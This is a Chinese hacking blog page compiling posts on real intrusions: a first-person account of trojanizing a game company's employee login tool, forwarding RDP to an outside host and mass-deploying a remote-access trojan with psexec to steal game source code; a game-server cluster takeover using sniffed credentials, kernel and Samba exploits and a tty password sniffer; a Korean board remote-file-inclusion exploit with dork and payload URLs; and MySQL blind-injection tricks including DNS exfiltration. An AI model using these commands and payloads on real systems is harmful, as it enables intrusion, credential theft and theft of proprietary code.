墓静而思绪,人静则心死! 注册 | 登陆
浏览模式: 标准 | 列表全部文章

记一次渗透某游戏公司内网全过程

文章提交:教主

前言:
这篇文章所讲到的渗透思路以及方法适合各位新手和老鸟参考。通过入侵WEB服务器然后进行渗透到游戏公司内部并获取游戏源代码全过程。这次是一次非常顺利的渗透过程,仅限学习参考。

-----------------------------------------------------第一天-------------------------------------------------------------------
花了3天时间终于拿下了www.xxx.com.tw 的网站服务器.是一款不错的游戏产品。在服务器上找了
大半天找不出一点有用的信息.正准备放弃的时候看到 Ftp文件夹下有一个 员工专用登录器.exe 的程序.
HOHO~觉得有戏。。觉得管理员一定会用这个东西来干嘛..马上把这个东西down到自己的电脑,打开一看原来是游戏管理工具。想了一下这对我也没有什么用啊,唉。不如把马捆到这个上然后替换服务器上的原程序看看管理员会不会下载执行吧。
到网上搜了一个EXE图标提取器,把员工专用登录器.exe的程序图标提取出来。然后用黑洞1.96配了个服务端,花了点时间做了免杀。OK。用Winrar的自释放模式把员工专用登录器.exe和黑洞服务端捆绑在了一起。并传到服务器上覆盖了原来的程序。
;下面的注释自解压脚本命令
Path=%SystemRoot%\
SavePath
Setup=install.exe
Setup=Server.exe
Silent=1
Overwrite=2
-----------------------------------------------------第二天-------------------------------------------------------------------
中午起床后打开黑洞,HOHO果然不出各位的所料。。上线一台 台湾地区的主机。网络类型:内网,WindowsXp 系统。打开屏幕监视..果然就是客服部电脑。正在处理玩家的盗号申诉呢。
我立刻找到在我电脑沉睡已久的Tools3389.exe 传到对方机器。
打开Telnet
c:\tmp\tools3389.exe
运行参数:
无参数 帮助信息[本页]
-O 打开超级终端
-X [端口] 修改终端端口
-K 查看终端服务状态
-C 克隆GUEST账号
-S 查看系统版本
-T XP支持双用户登录
-R 重新启动计算机
-H 帮助信息[本页]
目前终端端口为:3389
c:\tmp\tools3389.exe –O 3389
接着c:\tmp\tools3389.exe –T
----------------------------------------------------------------------------------------------------
接下来大家都知道我要做什么了,就是转发3389端口出来渗透内网。找到lcx.exe
cmd: c:\tmp\lcx.exe –slave xxx.xxx.xxx.xxx 51 127.0.0.1 3389
呵呵,一切是那么的顺利。。熟悉的xp登陆画面就出来了。
克隆了guest帐号登陆。穿了个NT弱口令扫描器到肉鸡里。
net view 看了一下结果发现有4个网段。
用弱口令扫描器扫了全部的网段,结果如下:
1433 Sa 弱口令 17 台
NT-SERVER 弱口令 53 台
内网的安全做的就是差劲。。。。。。
----------------------------------------------------------------------------------------------------
拉了个psexec.exe 然后把我的黑洞服务段也传到肉鸡的c:\tmp目录下。。
经过1个多小时的重复操作:
cmd c:\tmp\psexec.exe \\192.168.5.X –u administrator –p 123456 –c Server.exe –d
成功上线的肉鸡有42台。
发现192.168.254.X 这个段的机器中了黑洞也不上线,很是纳闷。。于是判断下这个段到底能不能连接外网。
psexec \\192.168.254.20 –u administrator –p 123456 cmd
ping www.google.com 结果不出所料。。果然不能连接外网。
这个段到底有什么重要的资料?还不能连接外网呢?在肉鸡上打开3389登录器
连接 192.168.254.20 哇塞。发现一个域 SrcServer 肯定是开发部的域了。还好没有限制内网终端连接。
花了2个多小时翻遍了254这个段的机器。终于发现了游戏的源代码。整整7个G啊。
立刻打包: 7z.exe –a tzip gamesrc.zip “c:\src” 打包时间真的的太久了。剩余3个多小时。。。
闲逛一下客服部的网段,发现一个网上邻居的共享文件夹 [FileServer] 看到了一个 内网通 的聊天软件安装端。。如法炮制捆绑上黑洞。。
接着就把游戏源代码拖到了电脑。。。
------------------------------------------------End

Tags: 渗透, 内网, 源码

入侵某网游服务器小记

没什么技术性,只是想说明现状  

现在想弄钱的入侵者,似乎热衷于入侵网络游戏服务器,盗出游戏服务器程序或是数据库。国内的网络游戏企业,都应该招受过此损失,有暴露出来的,有没暴露出来的。但游戏企业对安全问题理解都十分片面,狭隘!  

 当然,不只是网络游戏企业。近一两年来,入侵者乐此不疲,各种商业数据的偷盗在国内几乎快形成一种"圈内产业"。不论是技术性还是行事组织性都与早年不可同日而语。需求与供应在这里似乎有着完美结合。再看看各地公安网监部门,媒体似乎每天都有报道关于某地公安抓获某黑客的事件。但却似乎没有一起真正成熟的案件。抓到的都是小鱼,大鱼都在偷着乐。原因有没发现没报案的,也有网监部门的技术问题。还有就是官僚主义,公安部门发布所谓的“战果”也乐此不疲。  

 话不说远了,转入正题。  

 一个好友在国内某网络游戏企业工作,让我帮忙测试他们游戏服务器群的安全性。加上我这段时间闲得无聊,也就答应了。  

 我先下载了游戏客户端程序,得到到了几个游戏服务器的地址。  
 游戏帐号在WEB网站上也可以注册,看来游戏中央数据库的调用WEB网站也可以。  
 先仔细的检查了一下WEB网站,大部分是PHP+MYSQL的。代码写得还不错,几乎找不到什么突破口。再看看MYSQL,禁止远程连接。查看了其他游戏服务器,都是LINUX系统,都只是开了OPENSSH和游戏服务器程序端口。只有WEB网站多个80,而又没什么可利用的地方。  

  看上去安全做得不错,但这是种幻象!  

  随后仔细分析了下游戏客户端程序,我打开SnifferPro以便记录下客户端程序和服务器的所有通信。发现客户端程序有个自动更新功能,我Sniff到是通过FTP去下载更新文件的。但我扫描所有游戏服务器时没发现这个FTP端口啊(8888)。仔细看了一下,原来这个端口连接延时十分长。所以扫描器没发现这个端口。  

   意外的从更新过程中,竟然Sniff到一个固定的更新程序的FTP帐户。检查了FTP服务器是ProFTPd,我没直接用这个帐户去溢出ProFtpd。因为这台服务器开了SSH,我直接拿帐户去登陆SSH,获得一个权限极低的shell。  

就像一块布,一但撕开一丁点口子,只要稍一加力,整块布都会随之撕开!  

在系统中寻觅了半天,终于寻找到一个有权限去写的tmp目录。查看了内核版本,用kernel do_brk()的问题溢出提升权限获得了rootshell,没去装rkt,因为只是帮忙测试.  

检查了系统的路由表,发现有一个内网,最后确认是VPN,原来所有游戏服务器之间的连接是通过VPN,防火墙的信任检查,都是通过内网的IP地址。外网访问这些服务器都只能看到22端口和游戏服务程序端口。  

在这台已控制的服务器上下载了一个nmap,扫描了其他服务器,发现其中一台开了Samba,查看了一下版本,存在问题。溢出并获得了rootshell。  

到现在为止以控制两台服务器,我把两台服务器的shadow文件都弄回来,拿jonh跑了一遍,没什么弱智密码。看来密码还设得挺好的。  

逛尤了一会,在开了Samba的服务器上,发现了游戏服务器程序。并随之在game.conf文件中发现了中央数据库的地址和一个数据库帐户。登上去看了一下,数据库太庞大,放弃了dump出来的念头。  

 好象没有必要去分析游戏服务器程序,找出vul,去exp,来撕开其他服务器  

 但从其中的一个名为"weihu"的table中,发现一个后台管理帐户和密码,这个密码大小写互换加数字加符号。  

 我在web网站上找到一个后台入口,并用在数据库得到的帐户登陆成功。发现后台管理系统中有一个上传的功能,而且没检查文件后缀名。存放文件目录也是在web目录之下。上传了一个phpshell,执行命令成功,随后我又获得提升权限为root的shell。  

 发现这台机器上还有个root在上面工作,但正在专注用vi编辑一个文件。没发现我。但我想到一个恶作剧。我给这台web网站服务器装了个能监视tty输入的sniff,随后又skill了那个root,那个root被踢下去没多久,又登陆上来。但我立马就抓到了他的密码。  

 我用这个抓到的密码去登陆其他服务器的SSH,并也用root帐户,都登陆成功。  

 感觉所有服务器的系统都应该是直接拷的盘,因为系统版本和所安装的程序和一些配置大都相同。  

 至此已经控制游戏服务器群的所有服务器,其中还有一台是SMS网关。  

 我们的游戏时间结束。只是因为一个小问题,最后导致整个服务器群被控制,其实这在安全问题上,这是必然会发生的。安全无小事!  

 其实这家企业对安全也有投入,硬件防火墙,支持VPN的。但因为一个程序自动更新的设计上的小失败。导致一切都虚设。  

 随后我把整个过程告诉了我那朋友,听得他立马向他们主管汇报了问题。  


 如有其他游戏企业被入侵,雷同文章所说,那纯属巧合,本人概不负责!

拿韩国站的时候,要关注一下这个东东

拿韩国站的时候,要关注一下这个东东

Google Dork: inurl:bbs_sun/board.php

board.php文件内容如下:

————————–
<?
if(!$admin) $pgUp .= “../”;
else if($admin==’N') $pgUp .= “”;

include $pgUp.”inc/dbconn.php”;
include $pgUp.”bbs_sun/config.php”;
?>

<link href=”<?=$skinSrc?>/style.css” rel=”stylesheet” type=”text/css”>
<?
if($mode == “list”) include ($skinSrc.”/list.php”);
else if($mode == “write” || $mode == “modify” || $mode == “reply”) include ($skinSrc.”/write.php”);
else if($mode == “view”) include ($skinSrc.”/view.php”);
else if($mode == “delete” || $mode == “ment_delete”) include ($skinSrc.”/delete.php”);
?>
————————–

 

此处存在远程文件包含漏洞

EXP:

http://xxxx.kr/bbs_sun/board.php?admin=0×50sec.org&pgUp=http://www.0×50sec.org/evil.txt?

board.php?admin=0×50sec.org&pgUp=http://www.0×50sec.org/evil.txt?&skinSrc=http://www.0×50sec.org/cmd.txt?&cmd=id&mode=view

有的含有download.php文件,对file变量和bname变量都没有进行必要的检查,导致文件泄漏漏洞:

EXP:

http://xxxx.kr/s_board_text/download.php?file=../../../../../etc/passwd&bname=../

mode变量为view时,有的版本对number变量没有过滤导致SQL注射漏洞

mode=view&number=

mode变量为write时,有的版本对管理权限的验证存在问题可以被绕过,从而可以发布文章和上传文件。

打开一条记录,将mode=view直接改为write就可以上传了。

可能还存在其他的问题比如文件删除等,懒得看了。

Mysql另类盲注中的一些技巧

老军家的好东东.二话不说.搞来留彩!
 
很多技巧从国外的paper学到的,不过国内没有多少人使用,所以发出来,笔记下~
一、order by 的参数注入技巧:
两种方法,思路都一样。
example. “select username,password from uc_members order by”.$_GET['oderby']
a.常见的利用方法:
1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));
返回错误:[Err] 1242 – Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));
返回正常。
b.国外paper看到的方法:
1.[SQL] select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;
返回错误:[Err] 1242 – Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;
返回正常。
二、limit 的参数注入技巧:
a.order by之后的limit参数 的注入,因为正常的sql语句order by后无法接union,所以没有好办法,就一个鸡肋思路:into outfile ‘/www/root/xxx.php’;
b.limit前无order by时的注入,那就方便多了,后面可以直接接union select ,随便怎么注都行了:
 
select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7
这里还有个技巧,使用procedure analyse可以获取字段名称:
select * from cdb_members where uid=1 limit 1,1 procedure analyse()
不过procedure analyse同样不能使用在order by之后:
[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()
[Err] 1386 – Can’t use ORDER clause with this procedure
三、无法猜测字段时的技巧:
在mysql5以下版本或者information_schema 无法访问的时候,无法猜到某个表的字段名,于是可以采用这个办法,在子查询中使用%0,报错获得列名。以ucenter的uc_members为例。
1.猜测列数:SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)
返回错误:#1241 – Operand should contain 12 column(s)
2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回正常。
3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回错误:#1048 – Column ‘uid’ cannot be null
4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)
返回错误:#1048 – Column ‘username’ cannot be null
5. ……
注:5.1以上版本不适用,字段必须为非空(not null)
四、windows下利用dns解析盲注的技巧:
如果盲注很累,或者页面无论and 1=1还是and 1=2的时候返回都一模一样,这个时候利用dns进行注入是个不错的方法,前提是win环境root权限下的mysql,利用load_file函数读取远程文件的思路。本地搭建一个dns服务器,然后将特定域名的NS server转过来。然后进行注入,并抓包。
本地测试了下(实际注入中单引号可以编码):select load_file(concat(‘\\\\aaa1.’,(select user()),’.oldjun.com\\a.txt’)),抓包成功获得select的结果:
29 28.524843 192.168.9.107 192.168.1.2 DNS Standard query A aaa1.root@localhost.oldjun.com

很多技巧从国外的paper学到的,不过国内没有多少人使用,所以发出来,笔记下~一、order by 的参数注入技巧:两种方法,思路都一样。example. “select username,password from uc_members order by”.$_GET['oderby']a.常见的利用方法:1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));返回错误:[Err] 1242 – Subquery returns more than 1 row2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));返回正常。b.国外paper看到的方法:1.[SQL] select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;返回错误:[Err] 1242 – Subquery returns more than 1 row2.[SQL] select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;返回正常。二、limit 的参数注入技巧:a.order by之后的limit参数 的注入,因为正常的sql语句order by后无法接union,所以没有好办法,就一个鸡肋思路:into outfile ‘/www/root/xxx.php’;b.limit前无order by时的注入,那就方便多了,后面可以直接接union select ,随便怎么注都行了:select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7这里还有个技巧,使用procedure analyse可以获取字段名称:select * from cdb_members where uid=1 limit 1,1 procedure analyse()不过procedure analyse同样不能使用在order by之后:[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()[Err] 1386 – Can’t use ORDER clause with this procedure三、无法猜测字段时的技巧:在mysql5以下版本或者information_schema 无法访问的时候,无法猜到某个表的字段名,于是可以采用这个办法,在子查询中使用%0,报错获得列名。以ucenter的uc_members为例。1.猜测列数:SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)返回错误:#1241 – Operand should contain 12 column(s)2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)返回正常。3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)返回错误:#1048 – Column ‘uid’ cannot be null4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)返回错误:#1048 – Column ‘username’ cannot be null5. ……注:5.1以上版本不适用,字段必须为非空(not null)四、windows下利用dns解析盲注的技巧:如果盲注很累,或者页面无论and 1=1还是and 1=2的时候返回都一模一样,这个时候利用dns进行注入是个不错的方法,前提是win环境root权限下的mysql,利用load_file函数读取远程文件的思路。本地搭建一个dns服务器,然后将特定域名的NS server转过来。然后进行注入,并抓包。本地测试了下(实际注入中单引号可以编码):select load_file(concat(‘\\\\aaa1.’,(select user()),’.oldjun.com\\a.txt’)),抓包成功获得select的结果:29 28.524843 192.168.9.107 192.168.1.2 DNS Standard query A aaa1.root@localhost

测试软件

测试

附件: 流量刷刷器.rar (32.1 K, 下载次数:20)

特征码定位原理

特征码定位原理

» 阅读全文

Tags: 特征码, 定位原理

常见的节名(区段名)及作用表

.arch 最初的构建信息

.bss 未经初始化的数据

.crt C运行期只读数据

.data 已经初始化的数据

.debug 调试信息

.didata 延迟输入文件名表

.edata 导出文件名表

.idata 导入文件名表

.pdata 导常信息

.rdata 只读的初始化数据

.reloc 重定位表信息

.rsrc 资源

.text .exe或.dll文件的可执行代码

.tls 线程的本地存储器

福州至温州

为了一个项目,我碾转了四个城市

大小: 445.26 K
尺寸: 500 x 375
浏览: 2 次
点击打开新窗口浏览全图

福州至温州动车组上某黑

大小: 334.72 K
尺寸: 500 x 375
浏览: 0 次
点击打开新窗口浏览全图

动车上的长腿列车MM

大小: 467.05 K
尺寸: 500 x 375
浏览: 1 次
点击打开新窗口浏览全图

X庭大酒店房间内无聊的和某2B的渗透工作

大小: 471.47 K
尺寸: 500 x 375
浏览: 0 次
点击打开新窗口浏览全图

看完三国再工作

大小: 412.92 K
尺寸: 500 x 375
浏览: 0 次
点击打开新窗口浏览全图

X市机场拉一下TX背影

大小: 298.9 K
尺寸: 500 x 375
浏览: 0 次
点击打开新窗口浏览全图

飞机上无聊的新闻

大小: 462.3 K
尺寸: 500 x 375
浏览: 0 次
点击打开新窗口浏览全图

吃点点心!

大小: 416.27 K
尺寸: 500 x 375
浏览: 0 次
点击打开新窗口浏览全图

到达省会!

 

 

 

 

 

Tags: 福州至温州

Records:251234